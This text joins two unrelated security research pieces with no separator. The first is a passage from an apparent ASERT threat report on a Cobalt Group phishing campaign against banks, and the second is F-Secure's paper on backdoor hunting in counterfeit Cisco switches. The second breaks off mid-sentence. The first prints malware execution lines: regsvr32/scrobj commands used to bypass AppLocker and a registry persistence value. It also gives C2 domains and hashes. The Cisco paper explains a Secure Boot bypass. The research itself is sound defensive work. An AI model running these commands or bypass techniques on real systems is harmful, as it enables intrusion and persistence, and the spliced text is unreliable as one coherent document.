COOLPANTS. - Appears to be an evolution of CobInt due to similarities in the binary when cross-referenced. - 28 of the 57 functions matched using Diaphora, a tool that compares binary functions. - C2 tied to Cobalt Group reporting: hxxps://apstore[.]info - New Sample: 616199072a11d95373b3c38626ad4c93 - Found by ASERT August 13th 2018 - Very similar to COOLPANTS when cross-referencing the binaries: - All 48 functions under “Best Match” tab in Diaphora - Same compilation time as COOLPANTS: 2018-06-13 20:44:15 - C2: rietumu[.]me. - The sample evolution supports the theory that rietumu[.]me belongs to the Cobalt hacking group. ### Phish & Infrastructure Analysis After inspecting the domain, rietumu[.]me, ASERT uncovered the email address solisariana[@]protonmail[.]com. Pivoting on the email leads to five additional domains each with a creation date of: 2018-08-01. 1. compass[.]plus 2. eucentalbank[.]com 3. europecentalbank[.]com 4. inter-kassa[.]com 5. unibank[.]credit Hunting for samples associated with inter-kassa[.]com leads to a phishing email uploaded to VirusTotal, d3ac921038773c9b59fa6b229baa6469. At the time of analysis, VirusTotal scored the phishing email with a 0, indicating nothing malicious was identified by the anti-virus engines. Most of the email content appears benign except for a link embedded in the message. The name “Interkassa” appears to be a payment processing system which makes it a prime masquerading target for attackers as noted in the tactics employed by the Cobalt Group for this ongoing campaign. The links embedded in the phishing email are as follows: 1. hxxps://download.outlook-368[.]com/Document00591674.doc - Live on August 14, 2018 2. hxxp://sepa-europa[.]eu/transactions/id02082018.jpg - Not live at time of analysis but a sample matching the full URL was uploaded to VirusTotal. ### Document Infection Chain **Payload Stager: Part One** The document from the embedded URL in the phishing email, Document00591674.doc (61e3207a3ea674c2ae012f44f2f5618b), renders a VBA infested Word document which continues the infection cycle once macros are enabled. **NOTE:** The document requires user permission and/or a policy enabled that allows Macros to run for a successful launch. The VBA script pieces together a cmd.exe command that launches cmstp.exe with an INF file allowing to potentially by-pass AppLocker. The INF file then beacons to download.outlook-368[.]com to download a remote payload that cmstp.exe will execute. The file, info.txt, downloaded from download.outlook-368[.]com is an XML file with an embedded scriptlet tag. The XML’s content includes a registration section allowing it to be used as a SCT/COM object. “cmstp.exe” executes the SCT file, which subsequently drops and launches the JavaScript backdoor dropper binary, 31385.txt disguised as a text file. For the dropped binary, Cobalt Group makes use of another system provided binary to add a layer of stealth and bypass possible protections like AppLocker by launching it using regsvr32.exe. The DLL file, 31385.txt, masquerading as a text file, is the last stage in the infection chain. The DLL drops the final obfuscated embedded file and launches it using regsvr32.exe before deleting itself. The above script is launched using regsvr32.exe: ``` REgSvr32 /S /N /U /I:"C:/Users/zgSpbU9Lu/AppData/Roaming/7F235861DB0B0024C3.txt" sCRObJ ``` The script ensures persistence by modifying the registry key UserInitMprLoginScript with the following value: ``` Regxvr32 /S /N /U /I:C:/Users/<redact>/AppData/Roaming/EE02EB37AA8.txt ScRObJ ``` De-obfuscating the final script renders the C2 along with the RC4 key. This is the JavaScript backdoor “more_eggs” which has been analyzed by other researchers over the past few years. **Backdoor “more_eggs” commands:** 1. d&exec – Downloads and executes a PE file. 2. more_eggs – Downloads an update for itself. 3. gtfo – Delete itself and related registry entries. 4. more_onion – Executes the “new” copy of itself. 5. vai_x – Executes a command via cmd. **NOTE:** Commands 1 – 4 match the commands described in other public reporting. Command 5 differs in name only; what it does remains the same. The public report shows “more_power” as the name of the fifth command. ### JPEG Infection Chain **File Execution** The second URL identified in the phishing email, hxxp://sepa-europa[.]eu/transactions/id02082018.jpg, acts as a red-herring; id02082018.jpg, is an executable rather than an image file. The sample is littered with junk code that spends CPU cycles before proceeding to de-obfuscate itself. The unpacking routine involves overwriting itself in memory with another executable. This overwritten binary loads a resource and jumps to the executable code contained in it. The unpacked binary will fail when LoadResource is called if it’s not running in the context of the original binary. The loaded shellcode first deobfuscates itself before beaconing to the C2 server for additional payloads or scripts. At the time of analysis, the C2 server did not respond; however, there is another binary with the same C2 found in ASERT’s malware zoo which bears a striking resemblance to CobInt. **Full Circle** The binary, 452903fc857fb98f4339d7ce1884099, makes use of the C2 ibfseed[.]com. Comparing this binary to another CobInt (616199072a11d95373b3c38626ad4c93) sample using Diaphora, ASERT determined this to be another CobInt/COOLPANTS sample. We believe this binary is tied to Cobalt Group using the same methodology and binary comparisons as the previously discussed malware samples. ### Romanian Target Spotted Working closely with Intel471, one of our Threat Intelligence partners, we found an additional Cobalt Group phishing campaign targeting carpatica[.]ro by masquerading as Single Euro Payments Area (SEPA). “carpatica[.]ro” belongs to Banca Comercială Carpatica, a bank in Romania that merged with Patria Bank in 2017. The phishing email uncovered by Intel471 downloads 9270ac1e013a3b33c44666a66795d0c0. The downloaded file shares the same PDB string as 1999a718fb9bcf3c5b3e41bf88be9067. That sample connects to rietumu[.]me, which ASERT identified as belonging to Cobalt Group. ## Summary This Cobalt Group actor(s) mimic financial entities or their vendors/partners in order to gain a foothold in the target’s network. Making use of separate infection points in one email with two separate C2s makes this email peculiar. One could speculate that this would increase the infection odds. The actor tries to hide the infection by using regsvr32.exe and cmstp.exe, which are both known for bypassing AppLocker (configuration dependent). ASERT believes Cobalt Group will continue targeting financial organizations in Eastern Europe and Russia based on the observables in this campaign and their normal modus operandi. ASERT also recommends that employees are trained to spot phishing emails and, where possible, closely inspect emails for look-alike domains that might contain malicious attachments or links. ## IOCs - 10D044BC5B8AE607501304E61B2EFECB - CobInt - d017bf9f6039445bfefd95a853b2e4c4 - COOLPANTS - 616199072a11d95373b3c38626ad4c93 – CobInt/COOLPANTS (ASERT Sample) - d3ac921038773c9b59fa6b229baa6469 - Email - 61e3207a3ea674c2ae012f44f2f5618b - Document00591674.doc - e368365bece9fb5b0bc8de1209bab694 – DLL File - 452903fc857fb98f4339d7ce1884099 – CobInt/COOLPANTS (ASERT Sample) - 9a87da405a53eaf32f8a24d3abb085af – id02082018.jpg (UPX Unpacked) - f3bb3e2c03f3976c107de88b43a22655 – id02082018.jpg (UPX Packed) - a3b705ce3d677361a7a9b2b0bdf04a04 – Email (carpatica) attachment - eb93c912e4d3ecf52615b198c44771f4 – Email (carpatica) - 9270ac1e013a3b33c44666a66795d0c0 - Email (carpatica) - 1999a718fb9bcf3c5b3e41bf88be9067 - hxxps://help-desc-me[.]com - hxxps://apstore[.]info - hxxps://rietumu[.]me - hxxps://ww3.cloudfront[.]org[.]kz - hxxp://download.outlook-368[.]com - hxxps://ibfseed[.]com - compass[.]plus - eucentalbank[.]com - europecentalbank[.]com - inter-kassa[.]com - unibank[.]credit - sepacloud[.]eu - sepa-cloud[.]com
# THE FAKE CISCO ## Hunting for backdoors in Counterfeit Cisco devices ### Dmitry Janushkevich ### F-Secure Consulting, Hardware Security Team ### Version 1.0, July 2020 ## INTRODUCTION Producing counterfeit products is a lucrative business if you don't mind being on the wrong side of the law. There’s no need to invest in a costly R&D process, and no need to select the best performing and looking materials; the only criterion is the cost of manufacture. This is why we see many imitations of expensive products on the market, and are likely to continue to see them being made and sold at a fraction of the original’s price. Network hardware designed, manufactured, and sold under the Cisco brand is a perfect example of this. Having an excellent reputation because of their great engineering, these products sell at a premium price point. Naturally, this encourages some to try and produce counterfeits as it’s a way of making easy money. Stories of such exploits abound in the media: a gang reportedly exporting US$ 10 million worth of gear to the US, the FBI seizing shipments of fake hardware, and court rulings being issued to stop the manufacturers. What does Cisco do to combat fraud? Actually, a lot. Cisco has a dedicated Brand Protection organization whose purpose is to defend against counterfeit and gray market activities. They partner with customs teams and regional governments all over the world with success. In April 2019, they seized $626,880 worth of counterfeit Cisco products in one day. However, despite successful operations, Cisco hasn’t been able to stop fraud fully. If there’s an opportunity to make a fast buck, there’ll always be someone willing to take the risk. In fall 2019, an IT company found some network switches failing after a software upgrade. The company would find out later that they had inadvertently procured suspected counterfeit Cisco equipment. Counterfeit devices quite often work smoothly for a long time, which makes it hard to detect them. In this particular case, the hardware failure initiated a wider investigation to which the F-Secure Hardware Security team was called and asked to analyze the suspected counterfeit Cisco Catalyst 2960-X series switches. This initiated a research project with the following goals: - Verify no extra functionality such as "backdoor access" was introduced. - Understand how and why counterfeit devices bypass the platform's authentication security control. Naturally, as it’s not easy to tell genuine and counterfeit devices apart, verifying whether any kind of "backdoor" functionality existed was also not easy, as it required a considerable amount of technical investigative work. Ultimately, we concluded, with a reasonable level of confidence, that no backdoors had been introduced. Furthermore, we identified the full exploit chain that allowed one of the forged products to function: a previously undocumented vulnerability in a security component which allowed the device’s Secure Boot restrictions to be bypassed. This paper details the process which led to this conclusion and shares the technical knowledge gained during this journey. While in this case no "backdoors" were identified, the fact the security functions were bypassed means the security posture of the device was weakened. This could allow attackers who have already gained code execution via a network-based attack, for example, an easier way to gain persistence, and therefore impact the security of the whole organization. ### Acknowledgements This paper is the result of a huge team effort. The author would like to acknowledge Andrea Barisani’s contribution, who was the first point of contact for the team and started the initial investigative work. Thanks also go to Daniele Bianco and Andrej Rosano, who worked on the initial investigation. Furthermore, the author would like to thank Thierry Decroix for numerous edits and reviewing this paper. ### Disclaimer As this work presents the results of practical research, some of the information that appears may be insufficiently precise or incorrect. Please proceed at your own risk. ### Device details The following table details the devices the team had access to. The Genuine device was procured from an authorized distributor and the manufacturer confirmed it was genuine. | Device type | Name | SW version | |---------------------------------------|----------------------------------------|----------------------------------------------| | WS-2960X-48TS-L V05 | Genuine | c2960x-universalk9-mz.152-2.E7 | | WS-2960X-48TS-L V01 | Counterfeit A | c2960x-universalk9-mz.150-2.EX5 (as provided by the source) | | WS-2960X-48TS-L V01 | Counterfeit B | c2960x-universalk9-mz.152-4.E7 (upgraded, resulting in breakage) | The devices will be referred to by their names where required. ## ANALYSIS ### Symptoms The biggest indication a 2960X device is a counterfeit is that it becomes inoperable after a software upgrade is performed. This also happened to the victim company and the devices had to be replaced. During negotiating the replacement with the vendor, the company found out they had unknowingly bought counterfeit devices. Moreover, the CISO was brought in to initiate investigations as to whether the company’s networks had been compromised. While the device lost its primary function as a network switch when the software upgrade was installed, it could still be accessed via the console. The following message was then displayed on the console during boot: ``` [Date Time]: %ILET-1-AUTHENTICATION_FAIL: This Switch may not have been manufactured by Cisco or with Cisco's authorization. This product may contain software that was copied in violation of Cisco's license terms. If your use of this product is the cause of a support issue, Cisco may deny operation of the product, support under your warranty or under a Cisco technical support program such as Smartnet. Please contact Cisco's Technical Assistance Center for more information. ``` Reverting the software version did not fix the problem, likely pointing to evidence of data being overwritten during the update process. ### Exterior differences Because clones and packaging are getting more realistic, many people don't realize they have counterfeit network equipment until it's installed and begins acting strangely. However, it is possible to spot minor differences in the visual appearance of the suspected counterfeits through comparison with a known-genuine device. Presented below are the most prominent differences we found during our investigations. The suspected counterfeit switch (on the left) has port numbers in bright white, while the known genuine device has them in grey. The text itself is misaligned. The triangles indicating different ports are different shapes. The mode button’s shape is slightly different. The square next to the management port is greenish on the counterfeit switch. On the genuine device, it is bright yellow. While immediately recognizing such minute differences may be challenging to spot, side-by-side comparison clearly shows that the enclosures of counterfeit units are of a lesser quality. ### Board analysis The main component of any modern electronics is printed circuit boards (PCBs) carrying electronic components such as integrated circuits, connectors, and passive components. By analyzing these boards, we could spot any differences and similarities between devices of the same family in the hope of gaining insight into what modifications were done by the counterfeiters. The overall board layout of the three devices was similar, with the Genuine unit and Counterfeit B sharing more similarities in appearance. When observed in detail, however, it was possible to verify modifications for forgery purposes, and the differences are significant. The absence of a holographic sticker on the counterfeit units was immediately noticeable. While its presence on the Genuine unit was not a guarantee of authenticity, its absence typically indicated a counterfeit. The Flash part numbers were found to be different, albeit both identifying 1Gbit parallel NOR Flash devices. The Genuine unit had Spansion p/n S29GL01GS11TFIV1 installed, while the counterfeit devices were installed with Micron/Intel p/n JS28F00AM29EWH. This could be attributed to the fact that the Genuine unit was identified as V5 while the counterfeits were V1. It is hard to say without comparing devices of the same version whether this was an indicator. It could also be the result of the manufacturer swapping in cheaper parts. What was more concerning was the presence of PCB rework traces around the Flash IC on the Counterfeit A unit. While it could be the case the unit was legitimately repaired, no record of such activity was found via available sources. This led us to conclude that, at some point, the Flash chip had been replaced. This may have been part of legitimate repair activities; however, it is not typical for legitimate repair shops to leave flux residues on the board. #### COUNTERFEIT A Compared to other units, the main board of the Counterfeit A unit had by far the biggest number of components installed, as well as completely different Ethernet chips. Judging by that, we recognized the possibility of a V1 board, as suggested by the device type sticker located on the enclosure. No irregularities were spotted during the inspection of the top-side components, but a prominent difference was identified on the bottom side. The Counterfeit A processor board had an "extra" component added. The component was connected through vias to the pins of U55 located on the top side of the board, identified as a 512Kbit I2C EEPROM. While two wires connected to power rails, two connected to pins 5 and 6 of U55, which carry the I2C SCL and SDA bus signals. #### COUNTERFEIT B The Counterfeit B unit was found to have one significant difference when compared to other units: the presence of components with their top marking removed with a laser; the components are U55 and U10006. Whereas the same U55 component is a serial EEPROM in the TSSOP-8 package in other units, the Counterfeit B unit sported a QFN16 package. This could be a legitimate engineering change when producing a new board revision, but it is unusual for an I2C EEPROM to be manufactured in such a package. Furthermore, there is no realistic reason to remove top marking for such a simple part. ### Boot log acquisition and analysis Any sufficiently sophisticated device needs to have a way to provide insight for manufacturing engineers and end users into its state as well as enable controlling its functioning. Such a way is usually implemented through some sort of a console, allowing the operator to observe system messages as the device boots and to input commands to control the boot process and device operation in general. Naturally, these messages provide a wealth of useful information when investigating device workings and as such are important to capture. For example, this allowed identification of the software version installed on each device, and was instrumental in obtaining clean images from the vendor for further comparison. Inventory information was also displayed during the boot, mainly consisting of serial numbers for various parts comprising the device. This allowed us to verify the numbers against labels present on each part. While not a direct indication of being counterfeit, a mismatch was indicative of the part being replaced. Probably the most interesting aspect was the analysis of the inoperable device, which failed the platform authentication procedure. From the very start of the boot: ``` CPU rev: B Image passed digital signature verification Board rev: 18 Testing DataBus... Testing AddressBus... Testing Memory from 0x00000000 to 0x1fffffff.../ Using driver version 4 for media type 1 ... ``` It is worth noting that the device reported (some) digital signature verification passed, even though the boot process resulted in a non-functional device. Similarly: ``` ...done Initializing Flash. Loading "flash:c2960x-universalk9-mz.152-4.E7.bin"...Verifying image flash:c2960x-universalk9-mz.152-4.E7.bin... ``` However: ``` ...done Initializing flashfs. Checking for Bootloader upgrade.. Boot Loader upgrade not needed(v) FIPS: Flash Key Check : Begin FIPS: Flash Key Check : End, Not Found, FIPS Mode Not Enabled POST: MA BIST : Begin POST: MA BIST : End, Status Passed POST: TCAM BIST : Begin POST: TCAM BIST : End, Status Passed POST: ACT2 Authentication : Begin POST: ACT2 Authentication : End, Status Failed extracting front_end/front_end_ucode_info (43 bytes) Waiting for Stack Master Election... POST: Thermal, Fan Tests : Begin POST: Thermal, Fan Tests : End, Status Passed ... ``` To summarize, the platform consisting of bootloaders, together with any potential pre-boot mechanisms successfully authenticated the application image. However, the application then failed to authenticate the platform. This seemed to correlate well with the high-level symptoms outlined before, which may have either meant that the software image was patched covertly when loaded, or the patched version was already provisioned; this would be easy to verify once images had been extracted from the devices. ### Content extraction from live systems The Cisco devices implement advanced management capabilities through the serial console, allowing not only to change the configuration settings but also explore the available file systems. This was leveraged as a non-invasive method of extracting contents – we did not know in advance whether raw filesystem data extracted from Flash ICs could actually be used with non-Cisco systems, for example, mounted in Linux. This stage followed directly after boot log acquisition, and leveraged the console access to explore, and tried to discover and back-up any interesting files present on the local filesystems. Unless a standard filesystem is used, extracting files from a raw Flash image is usually significantly harder than copying those off the device when it is powered on. The devices store the application software image in a file located in the main flash: file system. Therefore, it was relatively easy to obtain a copy of the software being executed on counterfeit devices. The fact that the units stopped working after a software update, yet still reported the updated version during the boot, can be considered evidence that no hidden software copy was present elsewhere on the system. ``` Switch# May 11 13:25:40.493: %USBFLASH-5-CHANGE: usbflash1 has been inserted! Switch#dir flash:/ Directory of flash:/ 2 -rwx 1048576 Nov 26 2019 15:34:12 +00:00 test 3 -rwx 4120 Oct 3 2019 13:37:32 +00:00 multiple-fs 4 drwx 512 Jul 4 2014 02:51:46 +00:00 c2960x-universalk9-mz.150-2.EX5 643 drwx 512 Jul 4 2014 02:51:47 +00:00 dc_profile_dir 122185728 bytes total (97654272 bytes free) Switch#dir flash:/c2960x-universalk9-mz.150-2.EX5 Directory of flash:/c2960x-universalk9-mz.150-2.EX5/ 5 -rwx 800 Jul 4 2014 02:43:35 +00:00 info 6 drwx 6144 Jul 4 2014 02:43:35 +00:00 html 642 -rwx 18229248 Jul 4 2014 02:45:34 +00:00 c2960x-universalk9-mz.150-2.EX5.bin 122185728 bytes total (97654272 bytes free) Switch#$copy flash: c2960x-universalk9-mz.150-2.EX5/mz.150-2.EX5/c2960x-universalk9-mz.150-2.EX5.bin usbflash1:/ Destination filename [c2960x-universalk9-mz.150-2.EX5.bin]? CA_c2960x-universalk9-mz.150-2.EX5.bin Copy in progress... 18229248 bytes copied in 15.103 secs (1206995 bytes/sec) Switch# May 11 13:27:00.622: %USBFLASH-5-CHANGE: usbflash1 has been removed! ``` The downloaded software image could then be verified from the unit by obtaining a legitimate copy of the same software version from the manufacturer and comparing SHA256 hashes. ``` $ sha256sum CA_c2960x-universalk9-mz.150-2.EX5.bin 1422575698b28bb6df41942e2147f696f0ce6be9f126cc4e308861047408a647 CA_c2960x-universalk9-mz.150-2.EX5.bin ``` The hashes were found to match; no changes were made to the software image stored on the counterfeit unit. This meant it was highly likely application software was patched in memory after load. However, some information of potential interest is rarely stored in file systems. For example, boot loader programs, or bootloaders, are rarely present there and are typically stored in "raw" form directly in Flash memory. The only way to gain access to this code is through extraction of raw Flash memory content followed by analysis of whatever content was actually extracted. ### Direct Flash content extraction As already noted, the boards sported a prominent parallel NOR Flash chip of considerable size. This made the chip the prime candidate for storing at least the application part of the overall software package, so was the first one to be checked for suspicious traces. All three devices underwent the same extraction procedure. First, the chips were removed from the boards. Then, Flash content extraction was performed with the Elnec BeeProg2 with 70-3170 TSOP56 adapter, using the Elnec software PG4UW. Content inspection showed the chips were written with bytes swapped with 16-bit words, thus requiring a quick adjustment to accommodate for that. Three images were obtained, each 128MB in size. After content extraction, the Flash chips were installed back on the boards to return them to an operable state. ### Flash content analysis The main purpose behind this step was to gather intelligence on how data was stored on the physical medium, and whether there was anything not accounted for during the live system analysis step performed before, such as bootloader code, any signatures, etc. A quick content inspection using the entropy graphing feature of the binwalk tool showed us several areas of interest. - The high-entropy area of about 20M bytes was probably the main software image, fitting the size and the entropy level as compressed data has high entropy. - What followed were two areas of distinct entropy footprints, likely some sort of uncompressed data. - The zero-entropy area is where the same 0xFF value was written and can be considered empty. - At the very end, there were several small but distinct blocks of data. After manual inspection at the very beginning of the image and direct binary comparison, we concluded that no bootloader code of any kind was placed there; the data looked more like a file system. Supporting that assumption was the difference in the composition of the blocks on the devices. Therefore, it made more sense to assume bootloader code was located at the end of the Flash; this was supported by the similar-looking entropy graph for all images towards the end. Indeed, inspecting the last megabyte revealed the presence of what appeared to be two bootloader programs, easily identified with the help of embedded strings (examples from Counterfeit A): ``` C2960X Boot Loader (C2960X-BROM) Version 15.2(2r)E1, RELEASE SOFTWARE (fc1) Compiled Wed 23-Apr-14 02:21 by abhakat ``` These boot loaders corresponded to the last two peaks on the entropy graph above. The next series of peaks of around 130 to 132MB represent data that was hard to attribute to anything that was known, but the best guess was that it was related to the Flash file systems. However, one interesting piece of information at the very end stood out; it was marked with the magic string AMCC and contained what appeared to be file names such as ppc.bin.key and pka_fw.bin. The analysis of this file format is summarized in appendix 6.3. The peak around 127MB belonged to the microcode binary named c2960x_dlpd_porter.bin. This file was located on the ucode0 filesystem. Finally, two small peaks represented the lic0 and lic1 filesystems. The following table summarizes the investigation of the last few megabytes of the Flash contents of the Counterfeit A unit. | Offset | Contents | |------------------------------------|--------------------------------------------| | 0x76A0000 | The lic1 filesystem | | 0x7720000 | The lic0 filesystem | | 0x78C0000 | The ucode0 filesystem | | 0x7DA0800 | Block of data marked AMCC | | 0x7DC0000 | Board configuration (text based) | | 0x7EE0000 | C2960X Boot Loader (C2960X-HBOOT-M) | | 0x7FDD800 | Inventory data | | 0x7FDDC00 | Signature 1 | | 0x7FDFFFC | 4 bytes, 55 AA AA 55 | | 0x7FE0000 | C2960X Boot Loader (C2960X-BROM) | | 0x7FFDC00 | Signature 2 | | 0x7FFF000 | Unknown; appears to be PowerPC code but no text strings to identify it | | 0x7FFFFFC | 4 bytes, 4B FF F0 02 (decodes as the ba 0xfffff000 PowerPC instruction) | It can also be assumed the main flash filesystem started right at offset zero. While offsets of the first three entries differed on other units, the overall composition was expected to be the same. With some general understanding of what was where in the Flash, it was then possible to perform a meaningful comparison of Flash contents between the genuine unit and the counterfeit one, which was not upgraded. Looking at the very end of the file, some differences stood out. Both counterfeit units had offsets 0x7FFF800..0x7FFFFFC and 0x7FFE000..0x7FFF000 filled with apparently random noise. Given that Flash chips in the erased state had all bits set, it was unlikely this was uninitialized data. Unfortunately, further comparison was thwarted by the difference in versions of installed software and bootloaders. It was necessary to locate intact copies of the bootloader code in order to perform any kind of meaningful differential analysis. ### Bootloader analysis Further analysis required obtaining software images of corresponding versions from the official sources. However, first the software versions needed to be identified. This could be done via the file name of the installed application image. Furthermore, the following bootloader image versions were present on the counterfeit units at hand: - Counterfeit A (operational): - C2960X Boot Loader (C2960X-HBOOT-M) Version 15.2(2r)E1, RELEASE SOFTWARE (fc1) - C2960X Boot Loader (C2960X-BROM) Version 15.2(2r)E1, RELEASE SOFTWARE (fc1) - Counterfeit B (inoperable): - C2960X Boot Loader (C2960X-HBOOT-M) Version 15.2(4r)E3, RELEASE SOFTWARE (fc4) - C2960X Boot Loader (C2960X-BROM) Version 15.2(2r)E2, RELEASE SOFTWARE (fc1) The version strings appeared unique enough to allow a search for them within the uncompressed data sections of the images at hand. In fact, they were included as one monolithic image, likely directly copied to Flash in parts, starting from offset 0x7EE0000, taking care to preserve inventory data. Bootloader images extracted from genuine software updates could then be directly compared with their counterparts obtained from Flash content extracted directly from the units. The c2960x-universalk9-mz.150-2.EX5.bin software image obtained from Counterfeit A did not contain embedded bootloaders, so a search was conducted by grabbing multiple official images and matching version numbers found in there. The c2960x-universalk9-mz.152-2.E.bin image provided the correct versions. Checking the bootloader images obtained from Counterfeit A: - Two changes were made to HBOOT: the first one to 8 bytes inside the code section, and the second which was considerably larger, appearing appended to the HBOOT image. - Signature 1 data was intact. - 12 bytes modified right before the BROM code. - BROM code was intact. - Signature 2 data was different. - Extra data is present around the code block at 0x7FFF000, as highlighted before. At this point, the process in place for verification of each software piece was not known. However, it was evident that some tampering with HBOOT had taken place. To understand these modifications and their significance within the context of the system, it is important to consider what was known about the System-on-Chip and the way it booted up. Assuming the PowerPC core started executing at 0xFFFFFFFC, the Flash ROM could be safely placed at the upper addresses so that the last 4 bytes in Flash, where we assumed the unconditional branch instruction was, map starting at 0xFFFFFFFC. After loading the last 1 megabyte or so of Flash into IDA Pro in the manner described above, we could start exploring the code. The assumption made above regarding Flash mapping is validated by the fact that IDA Pro could explore the code and create references automatically. The branch instruction at 0xFFFFFFFC transferred control to the small blob of PowerPC instructions at 0xFFFFF000. This piece of code appeared to perform some basic initialization activities and passed control further to BROM. Judging by the contents of text strings included, BROM appeared to authenticate and start HBOOT and provided a rudimentary set of commands to rescue the system from the state where HBOOT could be started. While we were not as interested in the details of the command system, the image authentication functionality was important to understand. This functionality could be located easily by finding references to the tell-tale string "Image passed digital signature verification" that was being printed on the serial console when image authentication succeeded. The function referencing this string together with the companion failure message took 6 parameters, most important of which were the base address of HBOOT and the signature 1 address. This meant signature 1 was in fact the HBOOT signature. By repeating the search and analysis on the HBOOT image, a similar function was identified that was used for the same purpose of image authentication. This function was used to authenticate the application software image; the process also showed up in console output. However, another use of the same function was made to authenticate BROM code when it was being copied over to the Flash memory. Careful inspection of the parameters being passed revealed that the BROM signature was located 0x2400 bytes before the image end, which was exactly where signature 2 was located. We could therefore conclude that signature 2 authenticated BROM code. Further inspection of the signature verification implementation in both BROM and HBOOT showed the use of some functions related to "SlimPro", as evident by corresponding error messages referenced by those functions: - WR: Timeout waiting for SlimPro response - RD: Timeout waiting for SlimPro msg - RD: Timeout waiting for SlimPro response The answer to the question of what this component might be came from various materials published by the vendor. The SLIMpro was a separate computing unit integrated into the System-on-Chip and was responsible for system-related security operations. The strings presented above confirmed this information. Further information on the SoC can be found in appendix 6.1. With a clear overview of what was verified, when, and how, a prominent question arose: how did BROM report successful verification of the modified HBOOT code? Answering this required a review of what was already known, and a deeper dive into the modifications performed on the hardware of the Counterfeit A unit. But first, the changes done to HBOOT and their purpose were investigated. ### HBOOT patch analysis The analysis required a good understanding of what HBOOT did and how. We began by observing that like BROM, HBOOT implemented a console with an impressive set of commands. Finding out how these commands were added allowed us to spot every implemented command, and rename the corresponding handler functions. This provided at least some insight into what parts were patched. Starting with the first modification of two PowerPC instructions in the middle of the HBOOT code section, we saw the boot command implementation was modified to include a call to the other added code fragment. The call was patched in to be performed after the application image was loaded into memory and authenticated. Analysis of the inserted code revealed this to be the first stage of a de-obfuscator (XOR-based with the key derived from the unit serial number), processing the "random" data previously discovered at the end of Flash. This data is de-obfuscated into a stack-based buffer, and control was then passed there. Care was taken to verify the operation was performed correctly, so the unit did not crash even when there was no obfuscated data present. That code was found to be a stage 2 de-obfuscator, with the key based on certain data from the Flash IC not accessible directly through conventional tools we had. Due to these circumstances, the key had to be brute forced. Similarly, the de-obfuscated code of stage 3 was again placed into a stack-based buffer and executed. Stage 3 was found to be the actual patching code, searching for the serialNu string and applying some modifications to the IOS image expected to be already loaded in memory. The modifications were few and consisted of mainly "return OK" kind of patches; full details of functions being patched will not be published for obvious reasons. However, it appeared the only purpose of this "added functionality" was to circumvent software licensing protections. It was due to this added patching functionality that the counterfeit units could bypass platform authenticity verification. This also explained why units stopped working after a software update: the latest software will almost certainly rewrite the patched HBOOT code, removing the work done to bypass the checks. The case of the Counterfeit B unit confirmed this hypothesis. When the CISO of the victim company provided us the counterfeit devices for investigation, one of the main tasks was to answer whether there were any backdoor-like functionalities being introduced. We concluded this did not appear to be the case for application and HBOOT code. ### SLIMpro analysis We had reached the point where we were ready to investigate the question posed previously with regards to the bypassing of HBOOT image verification. As the SLIMpro component was responsible for authentication because PowerPC cores only initiated the process by posting a message to a "mailbox", it was reasonable to conclude that some changes were implemented, resulting in this component always reporting a successful authentication. By identifying and understanding these changes we would be able to explain how the counterfeiters are able to bypass the code authentication function. What piqued our interest in the case of Counterfeit A was the "implant" added in conjunction with a serial EEPROM chip. What was the reason for such an unusual and obvious addition? Furthermore, the same chip had been replaced with a completely different package in Counterfeit B. Since the protocol used to interface with EEPROM was relatively simple and slow, it was easy to intercept and record the communications to gain insight into the workings of this implant. Any existing tool able to decode I2C communications and export the decoded traffic could be used for this purpose. Below is a short excerpt of this intercepted traffic as produced by the Logic software shipped with Saleae logic analyzer: ``` Time [s],Packet ID,Address,Data,Read/Write,ACK/NAK 3.256962416666667,0,'164' (0xA4),'0' (0x00),Write,ACK 3.257046583333334,0,'164' (0xA4),'0' (0x00),Write,ACK 3.257230166666667,1,'164' (0xA4),'240' (0xF0),Read,ACK 3.257315166666667,1,'164' (0xA4),'240' (0xF0),Read,ACK 3.257400333333333,1,'164' (0xA4),'3' (0x03),Read,ACK 3.257485416666666,1,'164' (0xA4),'18' (0x12),Read,ACK 3.257570500000000,1,'164' (0xA4),'0' (0x00),Read,ACK 3.257655583333333,1,'164' (0xA4),'252' (0xFC),Read,ACK ... ``` According to the M24512 data sheet, random-access read operation was performed by writing two address bytes followed by reading multiple bytes of data. This corresponded to the observed traffic. A simple script was written to parse such output and to create a dump file containing the intercepted contents, as well as to provide some overview on the read transactions executed. Below is the output of the script showing what addresses were accessed and how many bytes read (in hexadecimal), which is much easier to analyze compared to the raw transactions. It has been abbreviated due to its size. ``` Start address: 0000, byte count: 0020 Start address: 021E, byte count: 0004 Start address: 0020, byte count: 0040 Start address: 0060, byte count: 0040 Start address: 0060, byte count: 0040 Start address: 00A0, byte count: 0040 Start address: 00E0, byte count: 0040 Start address: 0120, byte count: 0040 Start address: 0160, byte count: 0040 Start address: 6320, byte count: 0400 [SEQUENTIAL ACCESS PATTERN CONTINUES] Start address: 7320, byte count: 0400 Start address: 7720, byte count: 0364 Start address: 0060, byte count: 0040 Start address: 0060, byte count: 0040 Start address: 00A0, byte count: 0040 Start address: 00E0, byte count: 0040 Start address: 6020, byte count: 0100 Start address: 0060, byte count: 0040 Start address: 00A0, byte count: 0040 Start address: 5EA0, byte count: 0100 Start address: 0220, byte count: 0200 [SEQUENTIAL ACCESS PATTERN CONTINUES] Start address: 5E20, byte count: 0050 Start address: 0220, byte count: 0400 [SEQUENTIAL ACCESS PATTERN CONTINUES] Start address: 5E20, byte count: 050 ``` Exactly the same behavior was observed when traffic was captured on the Genuine unit. The following could be immediately noted: - Repeating small accesses to addresses 0x60 through 0xE0 of 0x40 bytes each, followed by a significant sequential read. - Data starting at address 0x220 was read twice, but with different transaction sizes. Here is a closer look at what was being read: After a 32-byte block of unknown data, we could see the AMCC magic bytes, identifying the container format described in appendix 6.3. By correlating the accesses with file offsets within the container, it was easy to identify which files from this container were being read and in what order, so a higher-level overview could be pieced together: - pka_fw.bin - ipp.bin.ksg - ipp.bin.key - ipp.bin.sig - ipp.bin - ipp.bin (again) The fact that the ipp.bin file was being read twice stands out. This mirrored the situation with the main application binary being read twice; first to verify the signature, then to decompress and pass control to. Therefore, it is easy to assume the similar situation here as well: verify, then execute. Such an implementation, however, is vulnerable to a classic race condition called time-of-check to time-of-use (TOCTOU) where verified content could be manipulated after it had been verified but before its use. This immediately prompted a comparison between the two reads (it was easy to truncate the I2C traffic dump to exclude the second series of transactions starting at address 0x220). Quite similarly to the HBOOT patch, two differences were detected: one small patch within the bulk of the file and another, larger binary blob appended to the image. Assuming this file contained software for some CPU architecture and not data, we could attempt to identify which architecture this was meant to be executed on. Unfortunately, binwalk -A did not produce any meaningful output. However, the following facts were observed: - The beginning of the file appeared to contain a set of 32-bit 